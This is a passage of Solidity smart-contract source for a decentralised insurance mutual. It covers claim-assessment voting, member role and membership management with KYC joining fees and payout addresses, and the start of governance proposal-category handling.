cd.addClaimVoteCA(claimId, voteLength);
cd.setUserClaimVoteCA(msg.sender, claimId, voteLength);
cd.setClaimTokensCA(claimId, verdict, tokens);
tc.extendLockOf(msg.sender, "CLA", td.lockCADays());
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
/**
* @dev Submits a member vote for assessing a claim.
* Tokens other than those locked under Claims
* Assessment can be used to cast a vote for a given claim id.
* @param claimId Selected claim id.
* @param verdict 1 for Accept,-1 for Deny.
*/
function submitMemberVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
uint stat;
uint tokens = tc.totalBalanceOf(msg.sender);
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat >= 1 && stat <= 5);
require(cd.getUserClaimVoteMember(msg.sender, claimId) == 0);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "MV", tokens, now, verdict);
tc.lockForMemberVote(msg.sender, td.lockMVDays());
uint voteLength = cd.getAllVoteLength();
cd.addClaimVotemember(claimId, voteLength);
cd.setUserClaimVoteMember(msg.sender, claimId, voteLength);
cd.setClaimTokensMV(claimId, verdict, tokens);
int close = checkVoteClosing(claimId);
if (close == 1) {
cr.changeClaimStatus(claimId);
}
}
// solhint-disable-next-line no-empty-blocks
function pauseAllPendingClaimsVoting() external pure {}
// solhint-disable-next-line no-empty-blocks
function startAllPendingClaimsVoting() external pure {}
/**
* @dev Checks if voting of a claim should be closed or not.
* @param claimId Claim Id.
* @return close 1 -> voting should be closed, 0 -> if voting should not be closed,
* -1 -> voting has already been closed.
*/
function checkVoteClosing(uint claimId) public view returns (int8 close) {
close = 0;
uint status;
(, status) = cd.getClaimStatusNumber(claimId);
uint dateUpd = cd.getClaimDateUpd(claimId);
if (status == 12 && dateUpd.add(cd.payoutRetryTime()) < now) {
if (cd.getClaimState12Count(claimId) < 60)
close = 1;
}
if (status > 5 && status != 12) {
close = - 1;
} else if (status != 12 && dateUpd.add(cd.maxVotingTime()) <= now) {
close = 1;
} else if (status != 12 && dateUpd.add(cd.minVotingTime()) >= now) {
close = 0;
} else if (status == 0 || (status >= 1 && status <= 5)) {
close = _checkVoteClosingFinal(claimId, status);
}
}
/**
* @dev Checks if voting of a claim should be closed or not.
* Internally called by checkVoteClosing method
* for Claims whose status number is 0 or status number lie between 2 and 6.
* @param claimId Claim Id.
* @param status Current status of claim.
* @return close 1 if voting should be closed,0 in case voting should not be closed,
* -1 if voting has already been closed.
*/
function _checkVoteClosingFinal(uint claimId, uint status) internal view returns (int8 close) {
close = 0;
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 currency = qd.getCurrencyOfCover(coverId);
address asset = cr.getCurrencyAssetAddress(currency);
uint tokenx1e18 = p1.getTokenPrice(asset);
uint accept;
uint deny;
(, accept, deny) = cd.getClaimsTokenCA(claimId);
uint caTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
(, accept, deny) = cd.getClaimsTokenMV(claimId);
uint mvTokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18);
uint sumassured = qd.getCoverSumAssured(coverId).mul(DECIMAL1E18);
if (status == 0 && caTokens >= sumassured.mul(10)) {
close = 1;
} else if (status >= 1 && status <= 5 && mvTokens >= sumassured.mul(10)) {
close = 1;
}
}
/**
* @dev Changes the status of an existing claim id, based on current
* status and current conditions of the system
* @param claimId Claim Id.
* @param stat status number.
*/
function _setClaimStatus(uint claimId, uint stat) internal {
uint origstat;
uint state12Count;
uint dateUpd;
uint coverId;
(, coverId, , origstat, dateUpd, state12Count) = cd.getClaim(claimId);
(, origstat) = cd.getClaimStatusNumber(claimId);
if (stat == 12 && origstat == 12) {
cd.updateState12Count(claimId, 1);
}
cd.setClaimStatus(claimId, stat);
if (state12Count >= 60 && stat == 12) {
cd.setClaimStatus(claimId, 13);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimDenied));
}
cd.setClaimdateUpd(claimId, now);
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "../claims/ClaimsReward.sol";
import "../cover/QuotationData.sol";
import "../token/TokenController.sol";
import "../token/TokenData.sol";
import "../token/TokenFunctions.sol";
import "./Governance.sol";
import "./external/Governed.sol";
contract MemberRoles is Governed, Iupgradable {
TokenController public tc;
TokenData internal td;
QuotationData internal qd;
ClaimsReward internal cr;
Governance internal gv;
TokenFunctions internal tf;
NXMToken public tk;
struct MemberRoleDetails {
uint memberCounter;
mapping(address => bool) memberActive;
address[] memberAddress;
address authorized;
}
enum Role {UnAssigned, AdvisoryBoard, Member, Owner}
event MemberRole(uint256 indexed roleId, bytes32 roleName, string roleDescription);
event switchedMembership(address indexed previousMember, address indexed newMember, uint timeStamp);
event ClaimPayoutAddressSet(address indexed member, address indexed payoutAddress);
MemberRoleDetails[] internal memberRoleData;
bool internal constructorCheck;
uint public maxABCount;
bool public launched;
uint public launchedOn;
mapping (address => address payable) internal claimPayoutAddress;
modifier checkRoleAuthority(uint _memberRoleId) {
if (memberRoleData[_memberRoleId].authorized != address(0))
require(msg.sender == memberRoleData[_memberRoleId].authorized);
else
require(isAuthorizedToGovern(msg.sender), "Not Authorized");
_;
}
/**
* @dev to swap advisory board member
* @param _newABAddress is address of new AB member
* @param _removeAB is advisory board member to be removed
*/
function swapABMember(
address _newABAddress,
address _removeAB
)
external
checkRoleAuthority(uint(Role.AdvisoryBoard)) {
_updateRole(_newABAddress, uint(Role.AdvisoryBoard), true);
_updateRole(_removeAB, uint(Role.AdvisoryBoard), false);
}
/**
* @dev to swap the owner address
* @param _newOwnerAddress is the new owner address
*/
function swapOwner(
address _newOwnerAddress
)
external {
require(msg.sender == address(ms));
_updateRole(ms.owner(), uint(Role.Owner), false);
_updateRole(_newOwnerAddress, uint(Role.Owner), true);
}
/**
* @dev is used to add initital advisory board members
* @param abArray is the list of initial advisory board members
*/
function addInitialABMembers(address[] calldata abArray) external onlyOwner {
//Ensure that NXMaster has initialized.
require(ms.masterInitialized());
require(maxABCount >=
SafeMath.add(numberOfMembers(uint(Role.AdvisoryBoard)), abArray.length)
);
//AB count can't exceed maxABCount
for (uint i = 0; i < abArray.length; i++) {
require(checkRole(abArray[i], uint(MemberRoles.Role.Member)));
_updateRole(abArray[i], uint(Role.AdvisoryBoard), true);
}
}
/**
* @dev to change max number of AB members allowed
* @param _val is the new value to be set
*/
function changeMaxABCount(uint _val) external onlyInternal {
maxABCount = _val;
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public {
td = TokenData(ms.getLatestAddress("TD"));
cr = ClaimsReward(ms.getLatestAddress("CR"));
qd = QuotationData(ms.getLatestAddress("QD"));
gv = Governance(ms.getLatestAddress("GV"));
tf = TokenFunctions(ms.getLatestAddress("TF"));
tk = NXMToken(ms.tokenAddress());
tc = TokenController(ms.getLatestAddress("TC"));
}
/**
* @dev to change the master address
* @param _masterAddress is the new master address
*/
function changeMasterAddress(address _masterAddress) public {
if (masterAddress != address(0)) {
require(masterAddress == msg.sender);
}
masterAddress = _masterAddress;
ms = INXMMaster(_masterAddress);
nxMasterAddress = _masterAddress;
}
/**
* @dev to initiate the member roles
* @param _firstAB is the address of the first AB member
* @param memberAuthority is the authority (role) of the member
*/
function memberRolesInitiate(address _firstAB, address memberAuthority) public {
require(!constructorCheck);
_addInitialMemberRoles(_firstAB, memberAuthority);
constructorCheck = true;
}
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function addRole(//solhint-disable-line
bytes32 _roleName,
string memory _roleDescription,
address _authorized
)
public
onlyAuthorizedToGovern {
_addRole(_roleName, _roleDescription, _authorized);
}
/// @dev Assign or Delete a member from specific role.
/// @param _memberAddress Address of Member
/// @param _roleId RoleId to update
/// @param _active active is set to be True if we want to assign this role to member, False otherwise!
function updateRole(//solhint-disable-line
address _memberAddress,
uint _roleId,
bool _active
)
public
checkRoleAuthority(_roleId) {
_updateRole(_memberAddress, _roleId, _active);
}
/**
* @dev to add members before launch
* @param userArray is list of addresses of members
* @param tokens is list of tokens minted for each array element
*/
function addMembersBeforeLaunch(address[] memory userArray, uint[] memory tokens) public onlyOwner {
require(!launched);
for (uint i = 0; i < userArray.length; i++) {
require(!ms.isMember(userArray[i]));
tc.addToWhitelist(userArray[i]);
_updateRole(userArray[i], uint(Role.Member), true);
tc.mint(userArray[i], tokens[i]);
}
launched = true;
launchedOn = now;
}
/**
* @dev Called by user to pay joining membership fee
*/
function payJoiningFee(address _userAddress) public payable {
require(_userAddress != address(0));
require(!ms.isPause(), "Emergency Pause Applied");
if (msg.sender == address(ms.getLatestAddress("QT"))) {
require(td.walletAddress() != address(0), "No walletAddress present");
tc.addToWhitelist(_userAddress);
_updateRole(_userAddress, uint(Role.Member), true);
td.walletAddress().transfer(msg.value);
} else {
require(!qd.refundEligible(_userAddress));
require(!ms.isMember(_userAddress));
require(msg.value == td.joiningFee());
qd.setRefundEligible(_userAddress, true);
}
}
/**
* @dev to perform kyc verdict
* @param _userAddress whose kyc is being performed
* @param verdict of kyc process
*/
function kycVerdict(address payable _userAddress, bool verdict) public {
require(msg.sender == qd.kycAuthAddress());
require(!ms.isPause());
require(_userAddress != address(0));
require(!ms.isMember(_userAddress));
require(qd.refundEligible(_userAddress));
if (verdict) {
qd.setRefundEligible(_userAddress, false);
uint fee = td.joiningFee();
tc.addToWhitelist(_userAddress);
_updateRole(_userAddress, uint(Role.Member), true);
td.walletAddress().transfer(fee); // solhint-disable-line
} else {
qd.setRefundEligible(_userAddress, false);
_userAddress.transfer(td.joiningFee()); // solhint-disable-line
}
}
/**
* @dev withdraws membership for msg.sender if currently a member.
*/
function withdrawMembership() public {
require(!ms.isPause() && ms.isMember(msg.sender));
require(tc.totalLockedBalance(msg.sender) == 0); // solhint-disable-line
require(!tf.isLockedForMemberVote(msg.sender)); // No locked tokens for Member/Governance voting
require(cr.getAllPendingRewardOfUser(msg.sender) == 0); // No pending reward to be claimed(claim assesment).
gv.removeDelegation(msg.sender);
tc.burnFrom(msg.sender, tk.balanceOf(msg.sender));
_updateRole(msg.sender, uint(Role.Member), false);
tc.removeFromWhitelist(msg.sender); // need clarification on whitelist
if (claimPayoutAddress[msg.sender] != address(0)) {
claimPayoutAddress[msg.sender] = address(0);
emit ClaimPayoutAddressSet(msg.sender, address(0));
}
}
/**
* @dev switches membership for msg.sender to the specified address.
* @param newAddress address of user to forward membership.
*/
function switchMembership(address newAddress) external {
_switchMembership(msg.sender, newAddress);
tk.transferFrom(msg.sender, newAddress, tk.balanceOf(msg.sender));
}
function switchMembershipOf(address member, address newAddress) external onlyInternal {
_switchMembership(member, newAddress);
}
/**
* @dev switches membership for member to the specified address.
* @param newAddress address of user to forward membership.
*/
function _switchMembership(address member, address newAddress) internal {
require(!ms.isPause() && ms.isMember(member) && !ms.isMember(newAddress));
require(tc.totalLockedBalance(member) == 0); // solhint-disable-line
require(!tf.isLockedForMemberVote(member)); // No locked tokens for Member/Governance voting
require(cr.getAllPendingRewardOfUser(member) == 0); // No pending reward to be claimed(claim assesment).
gv.removeDelegation(member);
tc.addToWhitelist(newAddress);
_updateRole(newAddress, uint(Role.Member), true);
_updateRole(member, uint(Role.Member), false);
tc.removeFromWhitelist(member);
address payable previousPayoutAddress = claimPayoutAddress[member];
if (previousPayoutAddress != address(0)) {
address payable storedAddress = previousPayoutAddress == newAddress ? address(0) : previousPayoutAddress;
claimPayoutAddress[member] = address(0);
claimPayoutAddress[newAddress] = storedAddress;
// emit event for old address reset
emit ClaimPayoutAddressSet(member, address(0));
if (storedAddress != address(0)) {
// emit event for setting the payout address on the new member address if it's non zero
emit ClaimPayoutAddressSet(newAddress, storedAddress);
}
}
emit switchedMembership(member, newAddress, now);
}
function getClaimPayoutAddress(address payable _member) external view returns (address payable) {
address payable payoutAddress = claimPayoutAddress[_member];
return payoutAddress != address(0) ? payoutAddress : _member;
}
function setClaimPayoutAddress(address payable _address) external {
require(!ms.isPause(), "system is paused");
require(ms.isMember(msg.sender), "sender is not a member");
require(_address != msg.sender, "should be different than the member address");
claimPayoutAddress[msg.sender] = _address;
emit ClaimPayoutAddressSet(msg.sender, _address);
}
/// @dev Return number of member roles
function totalRoles() public view returns (uint256) {//solhint-disable-line
return memberRoleData.length;
}
/// @dev Change Member Address who holds the authority to Add/Delete any member from specific role.
/// @param _roleId roleId to update its Authorized Address
/// @param _newAuthorized New authorized address against role id
function changeAuthorized(uint _roleId, address _newAuthorized) public checkRoleAuthority(_roleId) {//solhint-disable-line
memberRoleData[_roleId].authorized = _newAuthorized;
}
/// @dev Gets the member addresses assigned by a specific role
/// @param _memberRoleId Member role id
/// @return roleId Role id
/// @return allMemberAddress Member addresses of specified role id
function members(uint _memberRoleId) public view returns (uint, address[] memory memberArray) {//solhint-disable-line
uint length = memberRoleData[_memberRoleId].memberAddress.length;
uint i;
uint j = 0;
memberArray = new address[](memberRoleData[_memberRoleId].memberCounter);
for (i = 0; i < length; i++) {
address member = memberRoleData[_memberRoleId].memberAddress[i];
if (memberRoleData[_memberRoleId].memberActive[member] && !_checkMemberInArray(member, memberArray)) {//solhint-disable-line
memberArray[j] = member;
j++;
}
}
return (_memberRoleId, memberArray);
}
/// @dev Gets all members' length
/// @param _memberRoleId Member role id
/// @return memberRoleData[_memberRoleId].memberCounter Member length
function numberOfMembers(uint _memberRoleId) public view returns (uint) {//solhint-disable-line
return memberRoleData[_memberRoleId].memberCounter;
}
/// @dev Return member address who holds the right to add/remove any member from specific role.
function authorized(uint _memberRoleId) public view returns (address) {//solhint-disable-line
return memberRoleData[_memberRoleId].authorized;
}
/// @dev Get All role ids array that has been assigned to a member so far.
function roles(address _memberAddress) public view returns (uint[] memory) {//solhint-disable-line
uint length = memberRoleData.length;
uint[] memory assignedRoles = new uint[](length);
uint counter = 0;
for (uint i = 1; i < length; i++) {
if (memberRoleData[i].memberActive[_memberAddress]) {
assignedRoles[counter] = i;
counter++;
}
}
return assignedRoles;
}
/// @dev Returns true if the given role id is assigned to a member.
/// @param _memberAddress Address of member
/// @param _roleId Checks member's authenticity with the roleId.
/// i.e. Returns true if this roleId is assigned to member
function checkRole(address _memberAddress, uint _roleId) public view returns (bool) {//solhint-disable-line
if (_roleId == uint(Role.UnAssigned))
return true;
else
if (memberRoleData[_roleId].memberActive[_memberAddress]) //solhint-disable-line
return true;
else
return false;
}
/// @dev Return total number of members assigned against each role id.
/// @return totalMembers Total members in particular role id
function getMemberLengthForAllRoles() public view returns (uint[] memory totalMembers) {//solhint-disable-line
totalMembers = new uint[](memberRoleData.length);
for (uint i = 0; i < memberRoleData.length; i++) {
totalMembers[i] = numberOfMembers(i);
}
}
/**
* @dev to update the member roles
* @param _memberAddress in concern
* @param _roleId the id of role
* @param _active if active is true, add the member, else remove it
*/
function _updateRole(address _memberAddress,
uint _roleId,
bool _active) internal {
// require(_roleId != uint(Role.TokenHolder), "Membership to Token holder is detected automatically");
if (_active) {
require(!memberRoleData[_roleId].memberActive[_memberAddress]);
memberRoleData[_roleId].memberCounter = SafeMath.add(memberRoleData[_roleId].memberCounter, 1);
memberRoleData[_roleId].memberActive[_memberAddress] = true;
memberRoleData[_roleId].memberAddress.push(_memberAddress);
} else {
require(memberRoleData[_roleId].memberActive[_memberAddress]);
memberRoleData[_roleId].memberCounter = SafeMath.sub(memberRoleData[_roleId].memberCounter, 1);
delete memberRoleData[_roleId].memberActive[_memberAddress];
}
}
/// @dev Adds new member role
/// @param _roleName New role name
/// @param _roleDescription New description hash
/// @param _authorized Authorized member against every role id
function _addRole(
bytes32 _roleName,
string memory _roleDescription,
address _authorized
) internal {
emit MemberRole(memberRoleData.length, _roleName, _roleDescription);
memberRoleData.push(MemberRoleDetails(0, new address[](0), _authorized));
}
/**
* @dev to check if member is in the given member array
* @param _memberAddress in concern
* @param memberArray in concern
* @return boolean to represent the presence
*/
function _checkMemberInArray(
address _memberAddress,
address[] memory memberArray
)
internal
pure
returns (bool memberExists)
{
uint i;
for (i = 0; i < memberArray.length; i++) {
if (memberArray[i] == _memberAddress) {
memberExists = true;
break;
}
}
}
/**
* @dev to add initial member roles
* @param _firstAB is the member address to be added
* @param memberAuthority is the member authority(role) to be added for
*/
function _addInitialMemberRoles(address _firstAB, address memberAuthority) internal {
maxABCount = 5;
_addRole("Unassigned", "Unassigned", address(0));
_addRole(
"Advisory Board",
"Selected few members that are deeply entrusted by the dApp. An ideal advisory board should be a mix of skills of domain, governance, research, technology, consulting etc to improve the performance of the dApp.", //solhint-disable-line
address(0)
);
_addRole(
"Member",
"Represents all users of Mutual.", //solhint-disable-line
memberAuthority
);
_addRole(
"Owner",
"Represents Owner of Mutual.", //solhint-disable-line
address(0)
);
// _updateRole(_firstAB, uint(Role.AdvisoryBoard), true);
_updateRole(_firstAB, uint(Role.Owner), true);
// _updateRole(_firstAB, uint(Role.Member), true);
launchedOn = 0;
}
function memberAtIndex(uint _memberRoleId, uint index) external view returns (address, bool) {
address memberAddress = memberRoleData[_memberRoleId].memberAddress[index];
return (memberAddress, memberRoleData[_memberRoleId].memberActive[memberAddress]);
}
function membersLength(uint _memberRoleId) external view returns (uint) {
return memberRoleData[_memberRoleId].memberAddress.length;
}
}
/* Copyright (C) 2017 GovBlocks.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "../../abstract/Iupgradable.sol";
import "./MemberRoles.sol";
import "./external/Governed.sol";
import "./external/IProposalCategory.sol";
contract ProposalCategory is Governed, IProposalCategory, Iupgradable {
bool public constructorCheck;
MemberRoles internal mr;
struct CategoryStruct {
uint memberRoleToVote;
uint majorityVotePerc;
uint quorumPerc;
uint[] allowedToCreateProposal;
uint closingTime;
uint minStake;
}
struct CategoryAction {
uint defaultIncentive;
address contractAddress;
bytes2 contractName;
}
CategoryStruct[] internal allCategory;
mapping(uint => CategoryAction) internal categoryActionData;
mapping(uint => uint) public categoryABReq;
mapping(uint => uint) public isSpecialResolution;
mapping(uint => bytes) public categoryActionHashes;
bool public categoryActionHashUpdated;
/**
* @dev Adds new category (Discontinued, moved functionality to newCategory)
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
*/
function addCategory(
string calldata _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] calldata _allowedToCreateProposal,
uint _closingTime,
string calldata _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] calldata _incentives
) external {}
/**
* @dev Initiates Default settings for Proposal Category contract (Adding default categories)
*/
function proposalCategoryInitiate() external {}
/**
* @dev Initiates Default action function hashes for existing categories
* To be called after the contract has been upgraded by governance
*/
function updateCategoryActionHashes() external onlyOwner {
require(!categoryActionHashUpdated, "Category action hashes already updated");
categoryActionHashUpdated = true;
categoryActionHashes[1] = abi.encodeWithSignature("addRole(bytes32,string,address)");
categoryActionHashes[2] = abi.encodeWithSignature("updateRole(address,uint256,bool)");
categoryActionHashes[3] = abi.encodeWithSignature("newCategory(string,uint256,uint256,uint256,uint256[],uint256,string,address,bytes2,uint256[],string)"); // solhint-disable-line
categoryActionHashes[4] = abi.encodeWithSignature("editCategory(uint256,string,uint256,uint256,uint256,uint256[],uint256,string,address,bytes2,uint256[],string)"); // solhint-disable-line
categoryActionHashes[5] = abi.encodeWithSignature("upgradeContractImplementation(bytes2,address)");
categoryActionHashes[6] = abi.encodeWithSignature("startEmergencyPause()");
categoryActionHashes[7] = abi.encodeWithSignature("addEmergencyPause(bool,bytes4)");
categoryActionHashes[8] = abi.encodeWithSignature("burnCAToken(uint256,uint256,address)");
categoryActionHashes[9] = abi.encodeWithSignature("setUserClaimVotePausedOn(address)");
categoryActionHashes[12] = abi.encodeWithSignature("transferEther(uint256,address)");
categoryActionHashes[13] = abi.encodeWithSignature("addInvestmentAssetCurrency(bytes4,address,bool,uint64,uint64,uint8)"); // solhint-disable-line
categoryActionHashes[14] = abi.encodeWithSignature("changeInvestmentAssetHoldingPerc(bytes4,uint64,uint64)");
categoryActionHashes[15] = abi.encodeWithSignature("changeInvestmentAssetStatus(bytes4,bool)");
categoryActionHashes[16] = abi.encodeWithSignature("swapABMember(address,address)");
categoryActionHashes[17] = abi.encodeWithSignature("addCurrencyAssetCurrency(bytes4,address,uint256)");
categoryActionHashes[20] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[21] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[22] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[23] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[24] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[25] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[26] = abi.encodeWithSignature("updateUintParameters(bytes8,uint256)");
categoryActionHashes[27] = abi.encodeWithSignature("updateAddressParameters(bytes8,address)");
categoryActionHashes[28] = abi.encodeWithSignature("updateOwnerParameters(bytes8,address)");
categoryActionHashes[29] = abi.encodeWithSignature("upgradeMultipleContracts(bytes2[],address[])");
categoryActionHashes[30] = abi.encodeWithSignature("changeCurrencyAssetAddress(bytes4,address)");
categoryActionHashes[31] = abi.encodeWithSignature("changeCurrencyAssetBaseMin(bytes4,uint256)");
categoryActionHashes[32] = abi.encodeWithSignature("changeInvestmentAssetAddressAndDecimal(bytes4,address,uint8)"); // solhint-disable-line
categoryActionHashes[33] = abi.encodeWithSignature("externalLiquidityTrade()");
}
/**
* @dev Gets Total number of categories added till now
*/
function totalCategories() external view returns (uint) {
return allCategory.length;
}
/**
* @dev Gets category details
*/
function category(uint _categoryId) external view returns (uint, uint, uint, uint, uint[] memory, uint, uint) {
return (
_categoryId,
allCategory[_categoryId].memberRoleToVote,
allCategory[_categoryId].majorityVotePerc,
allCategory[_categoryId].quorumPerc,
allCategory[_categoryId].allowedToCreateProposal,
allCategory[_categoryId].closingTime,
allCategory[_categoryId].minStake
);
}
/**
* @dev Gets category ab required and isSpecialResolution
* @return the category id
* @return if AB voting is required
* @return is category a special resolution
*/
function categoryExtendedData(uint _categoryId) external view returns (uint, uint, uint) {
return (
_categoryId,
categoryABReq[_categoryId],
isSpecialResolution[_categoryId]
);
}
/**
* @dev Gets the category acion details
* @param _categoryId is the category id in concern
* @return the category id
* @return the contract address
* @return the contract name
* @return the default incentive
*/
function categoryAction(uint _categoryId) external view returns (uint, address, bytes2, uint) {
return (
_categoryId,
categoryActionData[_categoryId].contractAddress,
categoryActionData[_categoryId].contractName,
categoryActionData[_categoryId].defaultIncentive
);
}
/**
* @dev Gets the category acion details of a category id
* @param _categoryId is the category id in concern
* @return the category id
* @return the contract address
* @return the contract name
* @return the default incentive
* @return action function hash
*/
function categoryActionDetails(uint _categoryId) external view returns (uint, address, bytes2, uint, bytes memory) {
return (
_categoryId,
categoryActionData[_categoryId].contractAddress,
categoryActionData[_categoryId].contractName,
categoryActionData[_categoryId].defaultIncentive,
categoryActionHashes[_categoryId]
);
}
/**
* @dev Updates dependant contract addresses
*/
function changeDependentContractAddress() public {
mr = MemberRoles(ms.getLatestAddress("MR"));
}
/**
* @dev Adds new category
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
* @param _functionHash function signature to be executed
*/
function newCategory(
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives,
string memory _functionHash
)
public
onlyAuthorizedToGovern
{
require(_quorumPerc <= 100 && _majorityVotePerc <= 100, "Invalid percentage");
require((_contractName == "EX" && _contractAddress == address(0)) || bytes(_functionHash).length > 0);
require(_incentives[3] <= 1, "Invalid special resolution flag");
//If category is special resolution role authorized should be member
if (_incentives[3] == 1) {
require(_memberRoleToVote == uint(MemberRoles.Role.Member));
_majorityVotePerc = 0;
_quorumPerc = 0;
}
_addCategory(
_name,
_memberRoleToVote,
_majorityVotePerc,
_quorumPerc,
_allowedToCreateProposal,
_closingTime,
_actionHash,
_contractAddress,
_contractName,
_incentives
);
if (bytes(_functionHash).length > 0 && abi.encodeWithSignature(_functionHash).length == 4) {
categoryActionHashes[allCategory.length - 1] = abi.encodeWithSignature(_functionHash);
}
}
/**
* @dev Changes the master address and update it's instance
* @param _masterAddress is the new master address
*/
function changeMasterAddress(address _masterAddress) public {
if (masterAddress != address(0))
require(masterAddress == msg.sender);
masterAddress = _masterAddress;
ms = INXMMaster(_masterAddress);
nxMasterAddress = _masterAddress;
}
/**
* @dev Updates category details (Discontinued, moved functionality to editCategory)
* @param _categoryId Category id that needs to be updated
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
*/
function updateCategory(
uint _categoryId,
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives
) public {}
/**
* @dev Updates category details
* @param _categoryId Category id that needs to be updated
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _allowedToCreateProposal Member roles allowed to create the proposal
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _closingTime Vote closing time for Each voting layer
* @param _actionHash hash of details containing the action that has to be performed after proposal is accepted
* @param _contractAddress address of contract to call after proposal is accepted
* @param _contractName name of contract to be called after proposal is accepted
* @param _incentives rewards to distributed after proposal is accepted
* @param _functionHash function signature to be executed
*/
function editCategory(
uint _categoryId,
string memory _name,
uint _memberRoleToVote,
uint _majorityVotePerc,
uint _quorumPerc,
uint[] memory _allowedToCreateProposal,
uint _closingTime,
string memory _actionHash,
address _contractAddress,
bytes2 _contractName,
uint[] memory _incentives,
string memory _functionHash
)
public
onlyAuthorizedToGovern
{
require(_verifyMemberRoles(_memberRoleToVote, _allowedToCreateProposal) == 1, "Invalid Role");
require(_quorumPerc <= 100 && _majorityVotePerc <= 100, "Invalid percentage");
require((_contractName == "EX" && _contractAddress == address(0)) || bytes(_functionHash).length > 0);
require(_incentives[3] <= 1, "Invalid special resolution flag");
//If category is special resolution role authorized should be member
if (_incentives[3] == 1) {
require(_memberRoleToVote == uint(MemberRoles.Role.Member));
_majorityVotePerc = 0;
_quorumPerc = 0;
}
delete categoryActionHashes[_categoryId];
if (bytes(_functionHash).length > 0 && abi.encodeWithSignature(_functionHash).length == 4) {
categoryActionHashes[_categoryId] = abi.encodeWithSignature(_functionHash);
}
allCategory[_categoryId].memberRoleToVote = _memberRoleToVote;
allCategory[_categoryId].majorityVotePerc = _majorityVotePerc;
allCategory[_categoryId].closingTime = _closingTime;
allCategory[_categoryId].allowedToCreateProposal = _allowedToCreateProposal;
allCategory[_categoryId].minStake = _incentives[0];
allCategory[_categoryId].quorumPerc = _quorumPerc;
categoryActionData[_categoryId].defaultIncentive = _incentives[1];
categoryActionData[_categoryId].contractName = _contractName;
categoryActionData[_categoryId].contractAddress = _contractAddress;
categoryABReq[_categoryId] = _incentives[2];
isSpecialResolution[_categoryId] = _incentives[3];
emit Category(_categoryId, _name, _actionHash);
}
/**
* @dev Internal call to add new category
* @param _name Category name
* @param _memberRoleToVote Voting Layer sequence in which the voting has to be performed.
* @param _majorityVotePerc Majority Vote threshold for Each voting layer
* @param _quorumPerc minimum threshold percentage required in voting to calculate result
* @param _allowedToCreateProposal Member roles allowed to create the proposal
